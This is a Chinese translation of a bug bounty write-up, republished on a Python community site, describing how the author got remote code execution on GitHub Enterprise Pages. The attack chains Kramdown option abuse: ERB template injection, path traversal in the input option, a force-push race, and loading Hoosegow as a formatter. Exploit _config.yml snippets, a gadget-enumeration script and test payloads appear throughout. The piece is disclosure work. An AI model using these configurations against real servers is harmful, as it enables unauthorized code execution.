社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

赏金$25000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

安全客 • 5 年前 • 1126 次点击  

0x01 开篇

我一直在关注GitHub企业版的发布说明,主要关注补丁的bug修复。这次,我发现补丁发布对Kramdown中的一个问题进行了关键修复。

CVE-2020-14001的描述很好地总结了漏洞详情以及如何利用:
Ruby 2.3.0版本之前的kramdown gem默认执行Kramdown文档中的模板配置,允许任意的读取访问(比如template=”/etc/passwd)或任意嵌入Ruby代码执行(比如以template=”string://
kramdown的模板选项接受任何文件路径,如果是以string://开头,则会被用作模板内容。由于模板是ERB,这就允许执行任意ruby代码。
为了测试这个问题,我创建了一个新的Jekyll站点,并在_config.yaml中添加了以下内容:
markdown: kramdownkramdown:  template: string://
在启动并加载页面后,确实执行了自定义的ERB:
class="home">Tue 20 Oct 2020 21:12:08 AEDT

class

="post-list-heading">Posts</h2>
 

0x02 漏洞发现

我开始寻找Jekyll和Kramdown允许的其他选项,以及它们是否有可能被利用。GitHub Pages使用1.17.0版本的Kramdown,所以我查看了该版本的Kramdown::Options模块,发现simple_hash_validator使用YAML.load,这将有可能通过反序列化来创建任意的ruby对象:
def self.simple_hash_validator(val, name)  if String === val    begin      val = YAML.load(val)
随着这个思路我用syntax_highlighter_opts选项来处理,但是在尝试了几个payload之后,我发现pages_jekyll 会加载safe_yaml,防止YAML.load的反序列化。
几个小时过后,我发现了一个有趣的选项,它在执行creating a new Kramdown::Document时使用,并且还有注释:
Create a new Kramdown document from the string +source+ and use the provided +options+. The# options that can be used are defined in the Options module.## The special options key :input can be used to select the parser that should parse the# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not# set, it defaults to +Kramdown+.## The +source+ is immediately parsed by the selected parser so that the root element is# immediately available and the output can be generated.def initialize(source, options = {})  @options = Options.merge(options).freeze  parser = (@options[:input] || 'kramdown').to_s  parser = parser[0..0].upcase + parser[1..-1]  try_require('parser', parser)  if Parser.const_defined?(parser)    @root, @warnings = Parser.const_get(parser).parse(source, @options)  else    raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")  end  end
所以,当存在:input选项时,会将第一个字母做成大写,然后传给 try_require,类型设置为 parser:
# Try requiring a parser or converter class and don't raise an error if the file is not found.def try_require(type, name)  require("kramdown/#{type}/#{Utils.snake_case(name)}")  truerescue LoadError  trueend
由于snake_case的执行只关心字符串,忽略其他的,这意味着有可能存在目录遍历,导致require加载一个不在预定路径上的文件。
我创建了一个内容为system("echo hi > /tmp/ggg")的文件/tmp/evil.rb,然后用下面的_config.yml启动jekyll:
markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../tmp/evil.rb
Jekyll 构建失败并报错jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb, 但查看/tmp/ 里的内容,发现ruby代码被成功执行:
$ cat /tmp/ggghi
 

0x03 漏洞利用

我在GHE服务器上创建了一个页面仓库,添加了/tmp/evil.rb,同样成功得到执行。接下来要做的就是想办法把ruby文件放到一个已知的位置,并作为payload使用。我使用perf-tools的opensnoop工具,在github构建jekyll页面站点时观察路径,发现以下目录:
/data/user/tmp/pages/page-build-23481/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
第一个是输入目录,第二个是输出目录,但这两个目录都在进程结束后很快被删除,并复制到一个哈希加密的位置。由于输出目录只基于用户和仓库名,结构相对简单,只需要想办法让它比正常情况下持续的时间更久即可。
我使用dd if=/dev/zero of=file.out bs=1000000 count=100创建了五个 100mb 的文件code.rb并将它们作为payload添加到 jekyll 站点,然后通过while true; do git add -A . && git commit --amend -m aa && git push -f; done创建循环。再次观察/data/user/tmp/pages/pagebuilds/vakzz/jekyll1目录,发现它存在的时间变长了。
接着创建一个新的站点,并包含一个恶意的input,指向jeykll构建的第一个文件夹:
markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb
然后把那个仓库也设置成循环的推送和构建。大约一分钟后,文件出现了!
$ ls -asl /tmp/ | grep ggg4 -rw-r--r--  1 pages             pages                3 Aug 19 13:58 ggg4
我写好漏洞报告,将其发送给GitHub,报告以惊人的速度进行了分流(30分钟内)。几个小时后,我收到回复,说他们正在努力强化Kramdown选项,并询问是否知道还有其他应该被限制的选项。
唯一看起来有点可疑的选项是formatter_class (作为syntax_highlighter_opts的一部分设置),但它只允许字母数字,然后用:Rouge::Formatters.const_get进行查询:
def self.formatter_class(opts = {})  case formatter = opts[:formatter]  when Class    formatter  when /\A[[:upper:]][[:alnum:]_]*\z/    ::Rouge::Formatters.const_get(formatter
当时我认为这是安全的,但还是把它同 simple_hash_validator 一起进行了提交。
第二天晚上,我研究了一下::Rouge::Formatters.const_get的实际工作原理。结果发现,它并不像我原来想的那样,把常量限制在::Rouge::Formatters上,而是可以返回任何定义过的常量或类。虽然正则仍然有限制(不允许使用::),但仍然可以用来返回类。一旦找到了常量,它就会被用来创建一个新的实例,然后调用format方法:
formatter = formatter_class(opts).new(opts)formatter.format(lexer.lex(text))
为了测试这一点,我用如下的_config.yml,然后建立网站:
kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: CSV
虽然报了错,但错误信息显示CVS类已经被创建了!
jekyll 3.8.5 | Error:  private method 'format' called for #<0x00007fe0d195bd48>0x00007fe0d195bd48>
我在报告中添加了一个评论,表明formatter选项肯定应该被限制,我会继续研究它是否可被利用。
现在,我能够创建一个顶级的ruby对象,它的初始化器取单一的哈希值,而且我们对哈希值的内容有相当大的控制权。我花了一点时间在google和ruby中测试如何获得一个常量列表,然后得出了下面的脚本:
require "bundler"Bundler.require
methods = []ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m| begin puts "trying #{m[:ob]}" m[:ob].new({a:1, b:2}) puts "worked\n\n" rescue ArgumentError puts "nope\n\n" rescue NoMethodError puts "nope\n\n" rescue => e p e puts "maybe\n\n" endend
该脚本基本上能找到所有符合正则的常量,并尝试使用哈希创建一个新的实例。我登录到GHE服务器,进入页面目录并运行脚本。只有部分显示worked或者maybe,大部分显示StandardError。
我盯着类的列表,看看初始化器中发生了什么,一开始没有找到有趣的东西,直到看到这个:



    
trying Hoosegow#<:inmateimporterror: inmate file doesn exist>maybe
这里看起来很有希望成为切入点! Hoosegow initialize method的初始化方法如下:
def initialize(options = {})    options         = options.dup    @no_proxy       = options.delete(:no_proxy)    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'    @image_name     = options.delete(:image_name)    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION    @docker_options = options    load_inmate_methods
load_inmate_methods 方法如下:
def load_inmate_methods    inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file) raise Hoosegow::InmateImportError, "inmate file doesn't exist" end
require inmate_file
这真是太完美了! 由于可以在options哈希中添加任何东西,这将允许传递我们自己的inmate_dir目录,然后需要做的就是在那里等待一个恶意的 inmate.rb文件。
按照之前相同的过程,我编辑了_config.yml,内容如下:
kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: Hoosegow    inmate_dir: /tmp/
然后在GHE服务器上成功创建了带有payload的/tmp/inmate.rb文件,并被推送到jekyll网站。几秒钟后,该文件被获取,payload也成功得到执行!
最终,这个被命名为CVE-2020-10518的漏洞得到了修复,我也获得了$25000的赏金。

译文声明

译文仅供参考,具体内容表达以及含义原文为准。


戳“阅读原文”查看更多内容
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/74936